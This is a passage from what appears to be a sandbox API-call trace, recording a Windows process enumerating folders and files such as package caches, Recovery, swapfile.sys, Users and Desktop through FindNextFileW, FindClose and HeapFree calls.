ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0197.024] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.024] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0197.024] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.024] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.024] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.024] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0197.024] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.024] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0197.025] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.026] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0197.027] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.027] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0197.028] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0197.028] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.028] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.028] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.028] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.028] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0197.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.029] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0197.029] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0197.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.029] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.029] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.030] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.030] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0197.030] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.030] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0197.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.031] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0197.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.032] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0197.033] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.033] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0197.033] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.033] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.033] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.034] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.034] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0197.034] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0197.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0197.036] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0197.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0197.200] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0197.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0197.200] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0197.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0197.200] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0197.201] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0197.201] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0197.201] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0197.201] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0197.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.211] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xae8f71e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xae8f71e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0197.211] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0197.211] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0197.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.215] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0 [0197.215] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0197.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0197.215] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0197.215] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0197.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0197.216] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0197.217] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0197.217] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x83175cf7, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0197.217] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0197.217] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0197.219] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.219] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0197.219] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.219] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0197.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.220] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0 [0197.220] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0197.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.220] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARM", cAlternateFileName="")) returned 0 [0197.220] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0197.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.221] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0197.222] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.222] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0197.222] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.222] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0197.222] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.222] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: 